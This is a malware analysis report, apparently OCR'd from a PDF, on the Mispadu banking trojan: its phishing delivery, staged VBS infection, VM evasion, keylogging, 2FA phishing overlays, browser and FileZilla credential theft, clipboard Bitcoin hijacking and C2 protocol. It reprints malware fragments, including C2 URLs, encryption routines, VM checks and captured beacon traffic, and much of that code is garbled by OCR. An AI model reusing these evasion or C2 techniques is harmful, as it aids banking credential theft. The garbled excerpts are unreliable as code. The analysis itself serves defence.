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Introduction

Mispadu is a banking trojan that was first seen in 2019. It has been dormant for a while, but new
samples have been detected recently. The new campaigns of the Mispadu malware are notable for the
increase in the number of affected entities and countries. Initially, it was focused on stealing credentials
from Colombian banking entities, but now it also targets entities in Spain, Bolivia, Chile, Mexico,
Argentina, Ecuador, Peru, Colombia, Paraguay, Brazil, Honduras, and Portugal.

The authors of Mispadu are likely Brazilian, as the malware shares a large amount of functionality and
particularities with other Brazilian banking trojans, such as Mekoito/Pazera. The two malware have too
many similarities, suggesting that the same authors are behind them. Mispadu may be a new version
with some improvements that are still being tested and developed in order to stop using the Pazera
version eventually.

The malware shares a large amount of functionality
and particularities with other
Brazilian banking trojans, such as Mekoito/Pazera.
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The malicious DLL that performs the credential theft is developed in Delphi, a language widely used by

Brazilian malware developers. The user does not download this DLL directly. Instead, they download an
attachment in a fraudulent email, which is a Microsoft installer (MSI) that, when executed, runs a Visual
Basic script (VBS) that finally performs a series of checks on the system and downloads the malicious

DLL along with the Autolt executable.

The malware then uses a variety of techniques to steal credentials, including keylogging, screen
scraping, and browser credential theft. It also communicates with a command and control server to
receive instructions and send stolen data.

Throughout this document, we'll illustrate how this banking Trojan works, including the method of
infection, the strategy it uses to steal credentials, the communication protocol with the control server,
and other interesting functionalities.
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Propagation

The Mispadu malware is distributed through
fraudulent emails. These emails impersonate
companies and entities of various kinds, trying to
get the user to trust, download, and execute the
attached file.

Some entities impersonated in several of

the latest campaigns are the “National
Superintendency of Customs and Tax
Administration” (Peru’s specialized technical
agency), EDP (Energies of Portugal), and
“Portuguese Judicial Police.” After all, the
attackers aim to impersonate recognized entities
so that the user believes it is a legitimate email
and opens and executes the attached file.

The attackers aim
to impersonate
recognized entities
so that the user
believes itis a
legitimate email and
opens and executes
the attached file.
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Infection

The file attached to the fraudulent emails is a Microsoft Installer (MSI) that has no other purpose than
to execute a Visual Basic Script (VBS) on the system. In an attempt to make analysis more difficult,

the malware developers include multiple stages in which different Visual Basic Scripts are executed.
Typically four of these scripts are executed, the Microsoft installer executes the first one, and the last is
the final script that downloads the malware (Delphi DLL and Autolt executable).

Two more scripts are executed between the first and the last, which are usually contained inside each
other and hidden thanks to string obfuscation and encryption. The last script is downloaded from the
control server, allowing the attacker to update any final details before downloading the final banker.

const

const 2

const o] "http://191.235.99.13/1pla"
const sRoleX = "http://191.235.99.13/m/1p1"
const wlinkF = "http://191.235.99.13/"

const cRaizl = "C:\Users\Public\"

const =

const

const

const

const

const on = "15"

const wWersionApp = "1"

const wVersionAUT = "1"

const wVersionVBS 5

const wVWersionEXT o ke

const

CEVFUCQFIEVFC ) (CUFDFKFLFPFKCUFKFNFCCQFIEVFCFAFQFNFKFTCWCXCUFDFKFLFPFKCUFKFNFCCOF IEVFCFAFQFNFRA
CWCX, “COFIEVFCFAFQFNFKFTCWCXCUFDFKFLFPFKCUFKFNFCCQFIEVFCFAFQFNFKFTCWCXCUFDFKFLFPFKCUFKS

Final VBS code with global variables (C2, encrypted configuration, etc.)

The image above shows some of the global variables defined in the VBS script used in the final stage.
This script is responsible for downloading the ZIP file that includes the malicious DLL, the Autolt
executable, the Autolt script that loads the malicious DLL, and three other non-malicious DLLs that
the malware needs to run. We can also observe the wCnfg variable, which stores the encrypted trojan
configuration.
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Below, we present the encryption and decryption
code employed by the script to encrypt its
configuration, as well as the malicious DLL.

The malicious DLL also uses the encryption

and decryption algorithm in the communication
protocol with the control server. However, it uses a
different value for the cCod parameter compared
to the one used in the script.

decrypt(cText, cCod)

id(cText,1,1)) - B5
Mid(cText,2,Len(cText)-1)

v3 = {asc(Mid(cText,1,1})-65)

v4 asc(Mid(cText,2,1))-65)
v2Z = v2 & (Chr{( (v3) * 25 + v4 - vl - cCod))]
cText = Mid(cText,3,Len(cText)-2)

wEnd

decrypt = v2
end function

function crypt(cText, cCod)
dim v1, v2, v3, v4, v5, v6, u7
Randomize

vl s

vl e

2]

Int(26*Rnd)

Chr(v5+653)
v5 + cCod

ar v 1 to Lenterens) stap 1 The malicious DLL
e uses a different

6 = vh & Chr{v2+65)

: = v6 & Chr{v4+65) CCOd parameter
compared to the one
used in the script.

String encryption and decryption functions
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In addition to obfuscation, encryption, and the use of multiple scripts in stages, the authors also include
code to detect whether the system on which this first stage of infection is running is a virtual machine
to prevent the download and installation of the final malware in an analysis environment.

WmiPropertyValue("root\cimv2", "Win32 ComputerSystem", "Manufacturer"

twWmiPropertyValue("root\cimv2", "Win32 ComputerSystem", “"Model")
sBIOSVersion = GetWmiPropertyValue("root\cimv2", "Win32 BIOS", “Version")

'"WScript.Echo "Manufacturer=" & sMake
‘WScript.Echo "Model=" & sModel
'Wscript.Echo "BIOSVersion=" & sBIOSVersion

IT sModel = "Virtual Machine" then
' Microsoft virtualization technology detected, assign defaults

sVMPlatform = "“Hyper-v*
bIsVM = true

' Try to determine more specific values

Select Case sBIOSVersion
Case "VRTUAL - 1ee@831"
bIsVM = true
sVMPlatform = “Hyper-V 2008 Beta or RCE"
Case "VRTUAL - 5000805", "BIOS Date: 05/05/08 20:35:56 Ver: 08.00.02"
bIsVM = true
sVMPlatform = "Hyper-V 2088 RTM"
Case "VRTUAL - 3808919"
bIsVM = true
sVMPlatform = "Hyper-V 2808 R2"
Case "AMI - 2000622"
bIsVM = true
sVMPlatform = "VS2805R2SP1 or VPC20867"
Case "AMI - 9008528"
bIsVM = true
sVMPlatform = "VS2805R2"
Case "AMI - 99P008l6", "AMI - 6O0E9E1"
bIsVM = true
sVMPlatform = "Windows Virtual PC"
Case "AMI - 800O314"
bIsVM = true
sVMPlatform = "VS2805 or VPC2804"
End Select

ElseIf sModel = "VMware Virtual Platform" then
' VMware detected

sVMPlatform = "VMware"
bIsVM = true

ElseIf sModel = "VirtualBox" then
' VirtualBox detected

bIsVM = true
sVMPlatform = "VirtualBox"

Virtualized environment detection
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Once the ZIP file containing the malicious Bandoiss
banker DLL has been downloaded, it is
unzipped and installed in a folder created in

sPastalser = "c:\"

'qtCaracteres = Int(6*Rnd) + 3

the root directory of the hard drive C:\. The 'for vl = 1 to gtCaracteres Step +1 _ _
. . ''" sPastalser = sPastalser & Chr(Int(25*Rnd) + 65)
name of the folder to install the malware is ‘Next
randomly generated, and all the files required
by the malware contained in the downloaded Code that generates
compressed file are stored in this folder. he installation folder name
Windows 7 (C:) - nido: ~ G [ searchntdot - [,
2 = B nido1 Properties X
i S i = Gerent | Sharing | Securty | Provieus Versione | Custorizs |
Name - Datemodfec | Type Size
4 Ibeay32.dl 11/23/2018 248 FM  Apolicaton extension 1,342¢B l 5 frrico1
1=l obpuu 971671010 11:57 PM File 114¢B
|| obpuutup 2/12/1070 12:50 PM  ULP File 681148 Type. Fle folder
& ohpuuai.exe 315/2018 1:17PM  Application 873 (B Lecatiori: G\
%] ssleay32.dll 11/22/2018 2248 PM  Application extension 330 KB Siza: 106 MB_(10,575‘4Mhyte=)
%) wirx@s.dll 6/5/2018 12:53 AM Application extansion 850 KB Sircondisk: 10,0 MB (10,588,160 bytes)

Cantains; 6 Flles, 0 Foldzrs

Created: Viednesday. September 16. 2020. 115651 FM

Atfributes: ¥ Read-only {Only applies-to files in folder)

¥ Hidden Advarced... |

Malware installation folder
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As we can see, the installation folder is created as ‘hidden’ to prevent victims from finding it and
generating suspicions that lead them to delete it, thus removing the malware from the system. We can
also observe six files, each of them being:

» The three DLLs (libeay32.dll, ssleay32.dll, and winx86.dll) are legitimate DLLs

» The first two are OpenSSL DLLs, while the last one is the library for connecting and
interacting with SQLite databases.

s> obpuuai.exe is the legitimate executable of Autolt.

s> obpuul.uup is the compiled Autolt script that decrypts and loads the malicious DLL
for execution.

»> obpuu is the malicious encrypted DLL.

For the malware to start at every Windows boot, the Trojan creates a link in the current user’s ‘Startup’
directory, including in the shortcut the necessary parameters for the script to run using the Autolt
executable. This persistence strategy is implemented in the malicious DLL, not in the VBS script, so
persistence will not occur if the final stage of the malware is not executed.

= = = 412 Coraols Winday
Roaming v Migosoft » Windows ~ Start Menu ~ Programs v Startup - @ ] Search Starnp o 1256
P — =
: = Secuity | Detaile | Pravioie Versicns
Mame ~ Date modified T Size
[ e | s Stetot | Compabity

desktop.ini 1f2/2018 B: 45 PM Configuration setings 1KE
it m] =

Tagettype:  Application

Cces

Tanget bocaton’ nldal

Tange!: F‘mdm"ubuuﬂw.ewe cnidoTobpuu

Sartin, };“nNcT\

Shntout ey |ng

Fun: INarmnI window _'J
e ‘ Comment: I
dwars (\\b Open Fils Location l Change lcon. . Advanced. |

Shortcut to execute the malware

10
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During the first execution, the Trojan requests an HTTP POST with information about the infected

feedzal

machine (OS version, Antivirus installed, and so on). In response, it receives an updated configuration
with the list of control servers (the main one and the backup servers in case the main one fails) and the

corresponding ports.

45T / HTTR/4.8

Connection: keep-alive

Content-Type: epplicationsx-www-form-urlencoded
Content-Length: 228

Host; wmageurcxdl . hopto.org

Accept: textshinl, applicationsxhtni+xml, applicatzons/sml;q=6.4%,
Accept-Encoding: identity

User-Agent: Mozillaf3, 0 (compatible; Indy Library)

vll!l N'EKFAFCFJF{IFPE?‘EYFKEKF'_' FPFMEQENE] ] o=YDT&vyebymg DHEADLDQCSCFEAESEXBUCECFCOCLCFCUCKCHIRCKCNCLCKRCLCFCHCQCFCHCFCMIF CHCFDHE
ESFDER EEKFEEGFDCECFCE FHFEELUDGEOEPEOEXENECFCCFCOCNDECFHTTR/L. L 260 0K

Cun:eﬂt Typa. text/html; charset=UTF-8

Server: MlcrosoTt-TIS/B.5

X-Powered-By: PHP/7.0.33

Date: Wed, 16 Sep 26929 18:29:55 GHT

Connection: keop-alive

Content -Length: 2961

KCWCPFGDAFME DN FNDACP WD ADACTCRCWDOCTC Y LG TCXDACFDBC K IADECPDECKDAD FTCRFHEUFBEYFREMF IFSCVOWCT
FGFJFKFUFJCTF.]FNFBCPFHEUFBEYFPPHFJFSWI}HCTFCFJFKFDFJCTFJFHFBCPFHEUFBEYFPFMFJFSCV"\‘G"FCFJFI(FDFJCTFJHWFBCPFHEUFBEYFPWIFJFSCWWDTFCFJF
KFOF JCTF JFMFBCP FHELFBEY FRENF JFSCYCWC TFCF JFKFOF JCTF. JFSCYCWCTFCF IFKFOFICTF JFMF ECPFHEUFBEYFPFMF JFSCVOWCTRCF IFKFOFD

CTFJFMFECPFHEUFBEYFPFME JFSCVCWCTFCF JFKF DR JC TR JFMFBCPFHEUFBEYFPFME JFSCVCWCTFCFIFK FOF JCTF JFMFBCPFH ELFBEYFPFMF JFSCVCWCTFCF IFKFOFICTFIF
MFECPFHEUFBEYFPFNFIFSCVCRC TECF JFKFOF JCTF JFMFRCPFHEUFBEYFPFNF JFSCUOWC TFCF JFKFOF JCTF JFHFRCPFHEUFBEYFPFNF JFSCUCWE TFCR JFKFOF JCTF JFMFBRCP
FHEUFBEYFPFMFJFSCVOWCT FCFJFKFOF JCTF JFMFBCPFHELFBE Y FPFNE JFSCVOWCT FCF JFKEOF JCTFIFMFBCPFHELFBEYFPEMF IFSCYCWCT FCF JFKEOF JCTF JFMFBCPFHELE-
BEYFPFMF JFSCVCWCTRCE JFKFOF ICTF JFMFECPE HEUFBEYFPEMF JESCVCWC TRCE JFKFOF JICTF JFMFBRCP F RE UFBEYFPFMF JFSCUCWCTRCF JFKFOF JCTF JFMFBCFFHE UFBEYFP
FNFJFSCYOWC TRCF JFKFOF JC TR I FNFBCPRHEL FREY FPENF JFSCYCWC TECF JFKFOF JCTF IFNFBCPFHELF BEY FPRNE JFSCYOWC TFOF JFKFOF JCT F IFNFBCPRHELFBE Y FPFNF IR
SCVOWCTFLF JFKFOFJCTF JFMFBCPEHEUFBEY FPEMF JFSCVEWCT FCF IFKFOF JCTF JFMFBCPFHEUFBEYFP FMF I FSCVCWCT FCF DR RFOFJCTF.JFMFBCPFHEUFBEYFPFMF D FSCVEW
CTFCFIFKFOF JCTF JFRFBOPFHEUFBEYFPFMF D FSCYCNC TFCF JFKFOF JC TR IFNFBCP FHEUFBE Y FPFMF JE SCV CWC TRCF JFKFOF D TR IFNFBCPFHELFBEYFPRMF JFSCUCWC TFCR
JFKFOFJCTFJFMFBCPFHEUFBEYFPEMF JESCYCWC TECF JEKFOF JCT F JFMEBCPFHELFBEY FPFMF JFSCVOWC TFCFIFKFCF JCTF J FMFBCPFHEUEEE Y FPFME JFSCYCXCTFREYFNEQ
EYFUFMEWC TEWF ) FHCPEHEUFBEY FPEMEJFSCYC KL TFNEYFMEQEY FOFMEWCTEWF JEHCPFHEURBEY FPEME I FSCVCKC TRRE Y EMEQEYFDRNEWC TEWF JFHCPEHEUFBEY FPFHF JESC
VCRCTENEYFMEQEY FOFMEWCT EWF JEHCPRHEL S BEY FPENE JFSCYC X TRNEY FMFQEY FOFHERC TEWF JFHCE FHELFBEY FPFMF JESCVCHCTRNE YFMEQEY FOEMENCTEWE JFHCPRHED
FBEYFPRNF JFSCVENCTFNEY FMEQE Y FORMENC TEWF ] FHCPEHEUFBE YFPEMEIFSCVCHCT FNEY FMEQEY FDEM EWC TEWS JEHCPEHEU FEEYFPFME I FSCUCKCTRMEY FMEQEY FDFMEWT
TEWFJFHCPFHEUFBEYFPEME JFSCYCXCTFNEY EMFQEYFDEMEWCT EWE JEHCPRHEUFBEY FPRME JRSCYCXCT EREY FMEQEYFOFNEWS TEWF JFHCPEHELFBEYFRFMF JESCYLKCTRIEY
FMEQEY FOFMEWC TEWF JERCEFHEUFBE Y FPEME JESCVCHC TRNEY FMF(EYFDRMEWC TEWF JFHCPEHEURBEY FP FME JESCVCXCTENE Y FMEQEY FDFMENCTEWS JEHCPFHEURBEY FPENE
JFSCYCECTENE YRMFOEY FOFMEWT TEWF JFHCP EHEUFBEYEREME JFSCVCHC TRNE YEME(E Y FOEMEWCTEWE 1R HE PRHEUFBET FPEME JESCVCXC TENEY FMFOE Y FOFMEWCTENF JFHCR
FHEUFEEYFRFMEIFSCYCXCTENEY FREQEYFDEMEWL TENF JFHCPFREUFBEY FPENEJESCYC AL TENEY FHEQE Y FDFHEWC TEWF JEHCH FHEUFBEY FREME JFSCVCKCTENEYEMFQEYEDE
NEWCTEWE JFHCPEHEUFBEYERENF JESCYCECT ENE Y FHROEYFDFHEWC TEWF JFHCPERELFBEYEREME JESCY CXC TRNEY EMEQE Y FO FMEWC TEWE JEHCPEHEUEBEY FPEME JESCVCECT
FNEYFHFQEYFOFMEACT EWF JFHCPFHEUFBEYEP FME JFSCVCXCT FNEYFMEQEY FDFMEWCTEWE JFHCPEHEUE BE Y FPEME JFSCYCXCTFREYFNEQEY FOEHEWC TEWF JFHCPFHEUFBEYE
PFEMEJFSCVCHC TENEYFMEQEY FDFNEWCTENE JFHE FEHEUFBEY FPFHE JFSCVCRC TENEY FHFQEYFDFMEWCTEWF I FHCPFHEURBE Y F PFMEJFSCYCXCTFNEYEMFQEYFDFMEWC TEWED
FHCPFHEUFBEYFRFNFIFSCYCXCTRNEY FMFQE Y F I F MERC TEWF JFHCPFHEUFBEYFPFMF JFSCVCXCTENEYFM FQEYFDEMEWCTEWF J FHCPFHEUFBEY FPENF JFSCVEXCTFREYFNEQE
‘COFMEWCTEWE JFHCPAX

HTTP POST request with encrypted configuration as response

5248+5248 87 *mtxgay*mageuroxfl. y.org*mageuroxfl
.org* mrJ(ll"U r th)Iu ovu‘maqrurn g1. T0.0rg*mageuroxt
rg*

.org*mageuro
q ,,orquaapu
.org*mageur
.serveirc.c

Received decrypted configuration

11
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Theft of Banking Data

For the theft of banking credentials, this banker mainly makes use of the keylogger module, but the
attackers also rely on the use of phishing injections that are shown to the user when they are needed.

Code in charge of activating or deactivating the keylogger through the command
received from the C2

In addition to its keylogger-based theft, this malware also includes the theft of credentials stored in
the browser, which allows its attackers to obtain the password directly without waiting for the user
to access their bank account. And although its authors are mainly interested in banking credentials,
stealing passwords stored in the browser allows them to obtain passwords for other services.

12
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In addition to its
keylogger-based
theft, this malware
also includes

the theft of
credentials stored
in the browser.

feedzal

The credential-stealing functionality of the Trojan
can be enabled or disabled by commands that
can be received from the control server. The
keylogger needs to be activated in order to start
logging credentials. This indicates that behind
the control server there is an operator who is

in charge of activating and deactivating the
functionalities depending on the information
received from the infected machine.

During the analysis, we have been able to
verify this behaviour through a small script that
connects to the control server and performs
the minimum communication to simulate an
infection. In each of the executions, different
commands have been received (beyond the
mandatory commands at the beginning of the

communication) and at different times, which shows that behind the control server there is an operator

manually sending commands to the victim's system.

In addition, some commands allow the execution of certain commands on the computer and display
certain windows, such as phishing injections to steal credentials. Even in the text strings we can see
that reference is made to ‘phases’, which correspond to the phases of credential theft that the Trojan is
in (password theft, second-factor authentication code theft, etc.).

sub 396B938(
sub 36FA250( (signec
b 36F9DCC(O, vB13, |

sub_399A60
sub_399D848(cc

C int64 *
4 *)dword :

13
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The operator can activate stages that result in the display of different pop-up windows. In this way, the
operator can obtain the 2FA codes required to log in to the bank account or to authorise certain actions

(such as sending money).

Seguridad adicional necesaria

Ingresa un Token @

# Qcultar instrucciones

HSBC #4

2FA code-stealing injection (Image found in the code)

As we can see, attackers can steal credentials through the keylogging module, by obtaining passwords
stored in the browser database, and finally through phishing injections that are displayed to the user,
although these seem to be mainly used to request the authorisation code that is sent to the user’s

mobile phone.

Paso 1

Presiona el boton
é 3 segundos
para prender el
Token, después
ingresa tu PIN.

Paso 2

Cusando la
pslabra "HSBC”
aparezca en la
pantalla de t
Token, presiona
el botén o e
ingresa los
nimeros

{Para méas
informacién,
seleccions el
botdn de ayudal

Paso 3

Presions el boton
nuevamente
eingress los 6
ndmeros gue se
muestran en tu
Token, en el
espacio indicado.

feedzal
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Theft of Stored Credentials

Although the main functionality of this Trojan is the theft of banking credentials, which it performs
through keylogging and phishing injections, its developers want to take advantage of the infection to
obtain as many credentials and information as possible. For this reason, the malicious DLL includes
two executables of legitimate tools to obtain credentials stored on the system.

E--l EXE 0037ES80 || 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 0o &l Mz

& /0 : 1033 0037E990 ||B2 00 00 00 00 00 00 0Q 40 00 00 00 00 04 0O 00 @
el WYL 2 1033 0037E9A0 || 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| cursor O037ESBO | 00 00 00 00 00 00 00 0O 00 00 00 00 ES 00 00 40
| String Table DO3TESCO | OE 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 &8 ! L !Th
| RCData 0037E9D0 | 69 73 20 70 72 6F 67 72 61 6D 20 &3 61 €E &E &F is program canno
1 O037ESEQ | 74 20 62 &5 20 72 75 6E 20 &9 6E 20 44 4F 53 20 t be run in DOS

. Cursor Group

El _____ | Version Info QO37ESFO || 6D 6F €4 &5 2E 0D 0D OA 24 00 00 00 00 00 00 00 mode. s
- O037EROQ (B3 AC EE A8 F7 2D 80 FB F7 2D &0 FB F7 2D &0 FB ST
0037EATO (134 22 DF FB FS5 2D 80 FB 34 22 DD FB E1 2D 80 FB ar = i =
BO3TER20 || 0D OE CO FB FC 2D 80 FB 2D OE 9C FB FC 2D 80 FB oA £
QO37EASO||F7 2D 81 FB A7 2C &80 FB 0D OE 59 FB F4 2D &0 FB — =

The DLL includes the resources WY0 and WY1, which are legitimate executables

As we can see in the image above, two binaries are included among the DLL resources. These binaries
are not malware, but two legitimate tools that can be used by any user to obtain passwords stored in
browsers and other installed software.

» WYO0: This is the WebBrowserPassView
software used to obtain the passwords
stored in most of today’s browsers.

»  WY1: This is the Mail PassView software
used to obtain the credentials of e-mail
accounts configured on the system.

WY exe WY 1. exe

LA

15
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These tools are executed after the installation VBS script the first time the malicious DLL is executed.

Afterwards, the collected data can be sent to the control server when requested by the operator with the
correct command.

it 41, @
loc_2FBD355

=

push offset aFl
push [ebp+var
push Ffs

push

lea

sub_2CF8B24

pop

pop =

mov fs:[eax],
imp short loc_

Loc_ 2F6D369:

Code responsible for collecting email credentials
and sending them to C2 in the correct format

16
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In addition to fraudulently using these tools to steal credentials, the malware itself also implements
credential theft for the FileZilla FTP client, allowing the attacker to obtain even more interesting
credentials from the victim beyond banking credentials. Such credentials could give the attacker access
to web or backup servers used by the user, opening the door to infecting new machines and collecting
even more information.

The malware itself also implements
credential theft for the FileZilla FTP client,
allowing the attacker to obtain even more
interesting credentials from the victim
beyond banking credentials.

Pub 30688E4 ((int)L"co

8C:
Jdword_39EB99C, 13,

Code in charge of obtaining the credentials used in FileZilla

17
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Other Functionalities:
‘Clipboard Crypto-Hijacking’

As if the theft of banking credentials, as well as other types of credentials stored on the infected
system, were not enough, this Trojan also includes among its functionalities what is known as
‘Clipboard Crypto-Hijacking'. This attack consists of detecting the text copied and sent to the system’s
clipboard to check if it contains an address of a cryptocurrency wallet.

This attack consists
of detecting the text
copied and sent to the
system’s clipboard to
check if it contains

an address of a
cryptocurrency wallet.

In this case, it checks whether it is a Bitcoin
address, and if so, the Trojan will replace it

with an address belonging to the attacker and
different from the one copied by the user. This
way, when the user pastes the address to make
a cryptocurrency transfer, he will actually paste
the attacker’s address and the transfer will end
up reaching the attacker. This works because
cryptocurrency addresses usually consist of a
relatively long series of alphanumeric characters,
making it difficult for the user to realise that the
legitimate address has been replaced.

18
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Among the samples analysed, we found the following Bitcoin address:

feedzal

1CmnfAvV2tHqW5DcnQ9aN6MnJTaNdp6W3U, which as we can see in the image has received several

transfers of BitCoins during the summer campaign:

1CmnfAVW2tHgW5DcnQ9%aN6MnJTaNdpeW3U

Total Received:

Total Sent:

Final Balance:

Total transactions: 9. Most recent;

Date v

2020-09-21 15:12:06

2020-09-21 15:02:26

2020-09-01 14:41:20

2020-08-29 18:01:10

2020-08-28 16:57:56

2020-08-20 16:05:35

2020-07-29 20:56:13

2020-07-29 20:17:56

&4 | B | & | @b s | S| & | S

2020-07-27 01.08.52

Transactions sent and received in the attackers' Bitcoin wallet

1.08719910

0.03479763

1.05240147

Amount

0.00001762

1.03545000

0.01285500

0.00013385

0.01680000

0.01285500

-0.02194263

0.01790808

0.00403455

USD value

50.18

$10830.10

$134.45

$1.40

$175.72

$134.45

$229.50

$187.31

$42.20

As we can see, not too many transactions have been made with this BitCoins address, and the ones
that have been made involve amounts that seem too large to be fraudulent transactions due to this

malware functionality. These transactions could actually be transactions made by the attackers

themselves from other wallets they own.
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Communication with
the Control Server

As for communication with the control server, this banker uses two different connection protocols. First,
an HTTP request is made to the control server sending information about the system and receiving the
encrypted configuration with the list of IP addresses and domains that can be used to connect to the

same or other

control servers.

POST / HTTP/1.@
Connection: keep-alive
content-Type: application/x-www-Torn-urlencoded

| Content-Llength: 120

Host, mageurox8l.hopto.org

Accept: text/ntml,application/xhtml+xml, application/xml;q=€.9, */* ;g=0.8
Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

Wi} =NEXFAFCFJFCFPEXEXFKEXFLFEEXFPFMFQEX&1] =YD T&VYeDymgD=ADLDHEADLCQCSCFEAESEXBUCSCFCQULCFCUCKCMCRCKCNCLONC LCFCNCQCFCMCFCMCFCMCFDHE

[ ¥EQEVESFDERBUCDDXEXESFEECENBUDYFEEKFEEOFDCECFCFEAESEXEREYFRFDBUDGEOEPEQEXENEOFCCFCOCHDECFRTTR/1. 1 2068 0K
| Content-Type: text/html, charset=UTF-8

Server: Microsoft-TIS/3.5

| X-Powered-By: PHP/7.8.33

Date: Wed, 16 Sep 2020 10:29:55 GMT
Connection: keep-alive

| Content-Lengtn: 2991

: KCWCPFGDAFMFDENFRDACPCWDADACTCXCWDDCTCY CXCTCXDACPDECKDADECP DBCXDADECPDBCXDADECPFPEXFSCWCYDFDDCPFHFOFSFBEUFTCPFHEUFBEYFPEMFIFSCVOWCT
FCEIFKFDFICTEIFMERCPFHENFBEYFPEMEIFSCVCWCTFCEIFKFOE JCTE JFMFRCPRHEUFBEYFPENFIFSCVOMCTFCF IFKFOE ICTEIEMFBCPRHEUFBEYFPENFIFSCYEWCTECEIR

KFOF JCTFJFMFBCPFREUFBEYFPEMFJFSCVCWCTFCE JFKFOF JCTF JFMFBCPFHEUFBEYFPFMF JESCVEWC TFCFIFKFOF JCTF JFMFBCP FHEUFBEY FPEMF JFSCVEWCTFCFIFKFOF ]
CTEIFMFBCPFHEUFBEYEPEME JFSCYCWCTFCEIFKFOFICTEIFMFBCPRHEURBEYFPEME JFSCVCWCTFCEIFKFOFJCTR JFMFBCPRHEUFBEYFPEMF JFSCVOWCTFCFIFKFOFICTRIFE
MFECPFHEUFBEYFPFMFJIFSCVCWCTFCFIFKFOF JCTF JFMFBCPFHEUFBEYFPFMFIFSCYCWCTFCFIFKFOF JCTFIFMFECPFHEUFBEYFPFNFIFSCYCWCTFCFIFKFOFICTFIFMFECP

| FHEUFEEYFPFYFJFSCVCWCTECRIFKFOF JCTFJFMFECPFHEUFEEY FPFME JFSCVOWCTECRIFKFOF JCTEJFMFECPFHEUFBEY FPFMEJFSCVCWCTFCRIFKFOF JCTFJFMFBCPRHEUR
| BEYFPFMFEJFSCVCWCTFCE JFKFOFICTE IFMFBCPFHEUFBEYFPFME JFSCVCWCTRCE JFKFCFICTE JFMFBCPFHEUFBEYFPPME JFSCYCWCTFCE JFKFCF JCTF JFMEBCPEHEUFBEYFP

FMFIFSCVCWCTFCF JFKFOFJCTFIFNFBCPFHEUFBEYFPFMFIFSCYCWCTFCFIFKFOFICTFIFNFBCP FHEUFBEYFPFMFIFSCYCWCTFCFJFKFOFJCTRIFNFBCPFHEUFBEYFPEMFIF

| SCVCWCTFCFIFKFOF JCTEJFMEECPEHEUFBEY FPEME JFSCVCWCTFCFIFKEOR JCTF JFMFECPFHEUFBEYEPFRF JFSCVCWCTECEIFKFOR JICTE JFMFECPFHEUFBEYFPEMF JESCVCY
| CTECFJFKFOF JCTF JEMFBCPEREUFBEY FPFMFIFSCVCHCTFCF JFKFOF JCTF JFMFECPEHEURBEY FPFMFIFSCVCHCTFCFJFKFOF JCTF JFMFBCPFHEUFBEYFPRMF JFSCVCNCTRCE
| JFEKFOFJCTFIFMEBCPRHEUFBEYFPEME JFSCVCWCTFCF JFKFOFJCTEIFNFBCPFHEUFBEYFPEME JFSCYCWCTFCF JFKFOFJCTFIFNFBCPEHEUFRE YFPEME JESCYCXCTENEYFMEQ

| EYFDFMEWCTEWF JFHCPFHEUFBEYFPRMF JFSCVCXC TRNEYFHFQEY FDFMEWCTEWF JFHCPFHEUFBEY FPEMFIFSCVCXCT FNEYFMFQEYFDFMEWCTEWF] FHCPFHEUFBEY FPFHF JFSC
| VCXCTFNEYFMFQEY FDFMEWCT EWEJFHCPFHEUFBE Y FPFMEJESCVEXCTENEY FNFQEYFDFMEWC TEWF JEHCPFHEUFBEY FPEMEJFSCVCXCTENEYEMEQEY FDEMEWCT EWE JFHCPFHEU

FEEYFPFHFIFSCVCXCTENEYEMFQEYFDEMEWC TEAF JFHCPEHEUFBEYFPEME JFSCVCXCTRNEYFMEQEY FDFMEWCTEWF JFRCPFHEUFBEY FPENFEIF SCVCXCTENEYFMEQEYFDEMENC
TEWFJFHCPFHEUFBEYFPFMFJFSCVCXCTENEY FMFQEYFDFMEWCTEWFIFHCPFHEUFBEYFPFMF JFSCVCXCTFREYFMFQEYFDFMEWC TEWF JFHCPFHEUFBEYFPFMF JFSCVCXCTENEY
FMEQEYFDFMEWCTEWF JEHCPEHEURBEY FPFME JFSCVCK CTENEYRFUMEQEY FDFMEWC TEWE JEHCPEHEUFBEYFPEME JFSCYCXCTENEY FMEQEYEDFMEMCTEWFJEHCPEHEUFBEYFPEYE
JFSCYCXCTRNEYRMFQEYFOFMEWCT EWF JFHCPFHEUFBEYFPFNFJIFSCVEXCTFREYFMFQE YFDFMEWC TEWF JFHCPFHEUFBEYFPFMF JFSCVCXCTENEYFMFQEY FDFHEWCTEWFIFHCP
FHEUFEEYFERFMEIFSCVCXCTEREYENEQEYFDENEACTEWF JEHCPRHEURBEYFPEME I FSCVEXC TENEY FMEQEY FOEMEWCTEWF JFHCPFHEUFBEYFPENEIESCVCXCTENEY FMEDEYEDE
HEWCTEWF JFHCPFHEUFBEYFPFMEJFSCVCXCTENEY FMFQEYFDFMEWCTEWF JFHCPFHREUFBEYFPFMF JFSCVCXCTRNEYFMFQEYFDFMEWCTEWF JFHCPFHEUFBEYFPFMF JESCYCXCT

| FNEYFMFQEYFDEMEWCTEWF JEHCPEHEUFBEY FRFME JFSCVCKCTENEYFMEQEY FDEMEWC TEWE JFHCP FHEUFBEYFPFMEJFSCVCXCTENEY FMEQEYFDEMEWCT EWFJFHCPFHEUFBEYE
| PEMFJFSCVCXCTRNEYFMFQEY FOFMEWCTEWF JFHCPFHEUFBEYFPFMFIFSCVCXCTFNEY FMFQEYFDFMEWC TEWF JFHCPFHEUFBEY FPFMF JFSCVCKCTENEYFHFQEYFDFHEWCTEWF ]

FHCPFHEUFBEYFPFMFJFSCVCXCTFREYFMFQEYFDFMENC TENF JEHCPRHEUFBEYFPEME JFSCYCXCTFNEYFMFQEY FOFMEWCT EWF JFHCP FHEUFBE YFPFNFJFSCVUXCT FNEYFMFQE
YFDEMEWCTEWF JEHCPAX

HTTP POST request with encrypted configuration as response

This encrypted configuration is stored in memory, so it is mandatory that in each execution of the
malware this first request is made to obtain the updated configuration. Once the configuration is
obtained, it is possible to connect to the first of the indicated servers, and if this is not possible, an
attempt is made to connect to the rest of the backup servers.

feedzal
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: ; ' i .org*mageurox
.hopto.or .hopte x rox01. i nageu B 0 rg*mageuro
.hopto. g .hopto. a8 rox01.hopto. T g *m. |
.hopto. *ma .hopto. i ¥ 1.hopto.org

.hopto.or 3 rox0l.hopto.org*
-hopto. rox01.hopto.org*
.hopto

Received decrypted configuration

In the previous image we can see a decrypted configuration, in which the connection port is 5248 and
then the list of C2 domains to which it can try to connect is provided.

The HTTP request to download the configuration is made once the user accesses the website of one
